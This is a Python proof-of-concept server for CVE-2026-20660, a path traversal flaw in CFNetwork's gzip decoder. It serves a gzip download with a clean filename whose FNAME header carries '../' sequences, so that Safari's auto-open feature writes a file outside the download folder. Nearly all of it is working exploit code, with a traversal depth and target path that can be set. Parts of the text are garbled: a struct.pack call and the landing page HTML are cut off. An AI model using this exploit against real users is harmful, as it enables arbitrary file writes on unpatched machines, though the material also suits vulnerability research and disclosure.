#!/usr/bin/env python3
"""
CVE-2026-20660 PoC - CFNetwork NSGZipDecoder Path Traversal
Root cause (patch diff):
-[NSGZipDecoder filenameWithOriginalFilename:] previously returned
gzip FNAME as-is; patched version applies lastPathComponent.
Vector:
Path traversal is in the gzip FNAME header (RFC 1952), not in
Content-Disposition filename.
"""
import argparse
import http.server
import struct
import sys
import time
import urllib.parse
from datetime import datetime
PROOF_TEXT = """\
CVE-2026-20660 - Proof of Arbitrary File Write
===============================================
This file was written via gzip FNAME path traversal.
Timestamp: {timestamp}
FNAME payload: {fname}
"""
def make_gzip_with_fname(content: bytes, fname: str) -> bytes:
"""Build a valid gzip stream with custom FNAME."""
import zlib
header = bytearray()
header += b"\x1f\x8b" # ID1/ID2
header += b"\x08" # CM=deflate
header += b"\x08" # FLG: FNAME present
header += struct.pack("
CVE-2026-20660 PoC
CVE-2026-20660
CFNetwork NSGZipDecoder FNAME path traversal PoC
Clean HTTP filename: report.gz
Malicious gzip FNAME: ../../cve-2026-20660-proof.txt
Safari auto-opens .gz (if enabled):
- vulnerable: uses FNAME directly
- patched: lastPathComponent strips traversal
Trigger depth=2
Trigger depth=5
Write /tmp/proof.txt
"""
class ExploitHandler(http.server.BaseHTTPRequestHandler):
traversal_depth = 2
target_name = "cve-2026-20660-proof.txt"
def do_GET(self):
parsed = urllib.parse.urlparse(self.path)
query = urllib.parse.parse_qs(parsed.query)
if parsed.path == "/":
self._serve_landing()
return
if parsed.path == "/download":
depth = int(query.get("depth", [str(self.traversal_depth)])[0])
custom_fname = query.get("fname", [None])[0]
self._serve_exploit(depth, custom_fname)
return
self.send_error(404)
def _serve_landing(self):
page = LANDING_PAGE.encode("utf-8")
self.send_response(200)
self.send_header("Content-Type", "text/html; charset=utf-8")
self.send_header("Content-Length", str(len(page)))
self.end_headers()
self.wfile.write(page)
def _serve_exploit(self, depth: int, custom_fname: str | None = None):
ts = datetime.now().isoformat()
fname = custom_fname if custom_fname else "../" * depth + self.target_name
text = PROOF_TEXT.format(timestamp=ts, fname=fname)
gz_data = make_gzip_with_fname(text.encode("utf-8"), fname)
clean_name = "report.gz"
print("\n" + "=" * 60)
print(f"Exploit triggered @ {ts}")
print(f"Content-Disposition: {clean_name} (clean)")
print(f"Gzip FNAME header: {fname} (malicious)")
print(f"Payload size: {len(gz_data)} bytes")
print(f"Client: {self.client_address[0]}")
print("=" * 60)
self.send_response(200)
self.send_header("Content-Type", "application/gzip")
self.send_header("Content-Disposition", f'attachment; filename="{clean_name}"')
self.send_header("Content-Length", str(len(gz_data)))
self.send_header("Cache-Control", "no-store")
self.end_headers()
self.wfile.write(gz_data)
def log_message(self, fmt, *args):
sys.stderr.write(f"[{datetime.now():%H:%M:%S}] {self.client_address[0]} - {fmt % args}\n")
def main():
parser = argparse.ArgumentParser(description="CVE-2026-20660 PoC server")
parser.add_argument("--port", "-p", type=int, default=8888)
parser.add_argument("--bind", "-b", default="0.0.0.0")
parser.add_argument("--depth", "-d", type=int, default=2, help="Traversal depth (../ count)")
parser.add_argument("--name", "-n", default="cve-2026-20660-proof.txt", help="Target filename")
args = parser.parse_args()
ExploitHandler.traversal_depth = args.depth
ExploitHandler.target_name = args.name
server = http.server.HTTPServer((args.bind, args.port), ExploitHandler)
print("\nCVE-2026-20660 PoC Server")
print(f"URL: http://{args.bind}:{args.port}/")
print(f"Default depth: {args.depth}")
print(f"Target name: {args.name}")
print("Requires Safari: Open safe files after downloading = enabled\n")
try:
server.serve_forever()
except KeyboardInterrupt:
print("\nStopped.")
server.server_close()
if __name__ == "__main__":
main()